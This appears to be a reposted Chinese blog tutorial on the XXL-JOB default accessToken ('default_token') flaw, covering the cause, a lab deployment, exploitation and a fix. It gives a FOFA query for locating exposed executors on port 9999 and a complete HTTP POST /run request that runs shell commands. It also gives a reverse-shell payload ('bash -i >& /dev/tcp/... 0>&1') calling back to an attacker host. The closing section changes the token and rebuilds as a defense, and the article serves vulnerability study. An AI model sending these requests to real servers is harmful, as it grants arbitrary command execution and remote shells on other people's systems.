当前位置:   article > 正文

漏洞实战(2):XXL-JOB默认密钥漏洞

xxl-job accesstoken
  1. 原理

  2. 危害

  3. 攻击

    1. 搜索服务

    2. 部署服务

      1. 安装Java

      2. 安装Maven

      3. 安装XXL-JOB

    3. 利用漏洞

  4. 防御

1、原理

XXL-JOB[1]是一个分布式任务调度平台,分为调度中心和执行器两部分。

在最新的两个版本中(2022年5月21日发布的2.3.1版本、2023年5月23日发布的2.4.0版本),XXL-JOB默认启用accessToken,在调度中心与执行器之间进行调度通讯时,用于证明自己的身份。

455b25d1d6aedf06aebba16b0e0e6684.png

accessToken的默认值是default_token,在调度中心的配置文件是xxl-job-admin/src/main/resources/application.properties,配置项是xxl.job.accessToken=default_token

在执行器的配置文件是xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties,配置项是xxl.job.accessToken=default_token

20f5811a5b6e956bc3f204e25c206dfd.png

13822a4d721763ff86cc762e2467c07a.png

如果没有修改accessToken的默认值,攻击者就可以使用默认的accessToken,伪装成调度中心,与执行器进行调度通信。

通过“任务触发”的RESTful API,攻击者可以对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。

3f911a3e0ab61e76e9271ad280eda292.png

a0f4ec7ea7ffffde731f74b864b87ea7.png

2、危害

攻击者可以对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。

3、攻击

3.1、搜索服务

FOFA[2]:body="{"code":500,"msg":"invalid request, HttpMethod not support."}" && port="9999"

3.2、部署服务

3.2.1、安装Java

  1. ### 下载:https://www.oracle.com/java/technologies/downloads/
  2. wget https://download.oracle.com/java/21/latest/jdk-21_linux-x64_bin.tar.gz
  3. ### 解压
  4. tar -zxvf jdk-21_linux-x64_bin.tar.gz -C /usr/local/
  5. ### 配置环境变量
  6. vim /etc/profile
  7. export JAVA_HOME=/usr/local/jdk-21.0.2
  8. export JRE_HOME=${JAVA_HOME}/jre
  9. export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
  10. export PATH=${JAVA_HOME}/bin:$PATH
  11. source /etc/profile # 生效
  12. ln -s /usr/local/jdk-21.0.2/bin/java /usr/bin/java # 软链接
  13. ### 检查
  14. java -version

3.2.2、安装Maven

  1. ### 下载:https://maven.apache.org/download.cgi
  2. wget https://dlcdn.apache.org/maven/maven-3/3.9.6/binaries/apache-maven-3.9.6-bin.tar.gz
  3. ### 解压
  4. tar -zxvf apache-maven-3.8.1-bin.tar.gz -C /usr/local/
  5. ### 配置环境变量
  6. vim /etc/profile
  7. export MAVEN_HOME=/usr/local/apache-maven-3.8.1
  8. export PATH=${MAVEN_HOME}/bin:${PATH}
  9. source /etc/profile # 生效
  10. ### 检查
  11. mvn -v

3.2.3、安装XXL-JOB

  1. ### 下载:https://github.com/xuxueli/xxl-job
  2. wget https://github.com/xuxueli/xxl-job/archive/refs/tags/2.4.0.tar.gz
  3. ### 解压
  4. tar -zxvf xxl-job-2.4.0.tar.gz -C /usr/local/
  5. ### 初始化数据库
  6. mysql -u root -p
  7. source /usr/local/xxl-job-2.4.0/doc/db/tables_xxl_job.sql
  8. exit
  9. ### 连接数据库的配置
  10. vim /usr/local/xxl-job-2.4.0/xxl-job-admin/src/main/resources/application.properties
  11. spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai
  12. spring.datasource.username=root # 你的数据库帐号
  13. spring.datasource.password=root_pwd # 你的数据库密码
  14. :wq
  15. ### 打包
  16. cd /usr/local/xxl-job-2.4.0
  17. mvn clean package
  18. ### 部署调度中心和执行器
  19. cd /usr/local/xxl-job-2.4.0
  20. java -jar xxl-job-admin/target/xxl-job-admin-2.4.0.jar
  21. java -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.4.0.jar
  22. ### 开通调度中心和执行器的防火墙策略
  23. firewall-cmd --add-port=8080/tcp --permanent
  24. firewall-cmd --add-port=9999/tcp --permanent
  25. firewall-cmd --reload

3.3、利用漏洞

参考官方的“任务触发”的RESTful API:

16174745130a5b071eaa78fdad8a5ebd.png

第15行,executorBlockStrategy,任务阻塞策略,可选值参考ExecutorBlockStrategyEnum[3]:COVER_EARLY、DISCARD_LATER 、SERIAL_EXECUTION。

第19行,glueType,任务模式,可选值参考GlueTypeEnum[4]:BEAN、GLUE_GROOVY、GLUE_NODEJS、GLUE_PHP、GLUE_POWERSHELL、GLUE_PYTHON、GLUE_SHELL。

第18行、第21行,logDateTime、glueUpdatetime,本次调度日志时间、GLUE脚本更新时间,可在Linux中使用命令date +%s生成。

最终构造漏洞探测POC:

  1. POST /run HTTP/1.1
  2. Host: 10.58.81.34:9999
  3. XXL-JOB-ACCESS-TOKEN: default_token
  4. Content-Length: 326
  5. {
  6. "jobId":1,
  7. "executorHandler":"demoJobHandler",
  8. "executorParams":"demoJobHandler",
  9. "executorBlockStrategy":"COVER_EARLY",
  10. "executorTimeout":0,
  11. "logId":1,
  12. "logDateTime":1710864010,
  13. "glueType":"GLUE_SHELL",
  14. "glueSource":"ping infpna.dnslog.cn",
  15. "glueUpdatetime":1710864010,
  16. "broadcastIndex":0,
  17. "broadcastTotal":0
  18. }

6ffe8163cf854c262849877d6141cb60.png

d0db32da6f71ffaf00f99ce5f3e22e4a.png

构造漏洞利用EXP:

"glueSource":"bash -i >& /dev/tcp/10.58.81.108/4444 0>&1",

f6a64b47df8326be3b0b8f2cb0dcee3c.png

3bc37b662bcfae901de109b8a9a131f9.png

4、防御

修改accessToken的默认值,调度中心和执行器的值需保持一致,例如将accessToken修改为cGqJjTqH2VMB2R1:

  1. sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-admin/src/main/resources/application.properties
  2. sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties

908af4624f4f606edeabc691f908f8ec.png

然后重新打包与部署:

  1. ### 打包
  2. cd /usr/local/xxl-job-2.4.0
  3. mvn clean package
  4. ### 部署调度中心和执行器
  5. cd /usr/local/xxl-job-2.4.0
  6. java -jar xxl-job-admin/target/xxl-job-admin-2.4.0.jar
  7. java -jar xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.4.0.jar

最后再次使用默认密钥进行任意代码执行,发现报错The access token is wrong.,成功修复漏洞。

7d11850f6874a08581737a54b38120d7.png

参考资料

[1]

XXL-JOB: https://www.xuxueli.com/xxl-job/

[2]

FOFA: https://fofa.info

[3]

ExecutorBlockStrategyEnum: https://apidoc.gitee.com/xuxueli0323/xxl-job/com/xxl/job/core/enums/ExecutorBlockStrategyEnum.html

[4]

GlueTypeEnum: https://apidoc.gitee.com/xuxueli0323/xxl-job/com/xxl/job/core/glue/GlueTypeEnum.html

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/羊村懒王/article/detail/453222
推荐阅读
相关标签
  

闽ICP备14008679号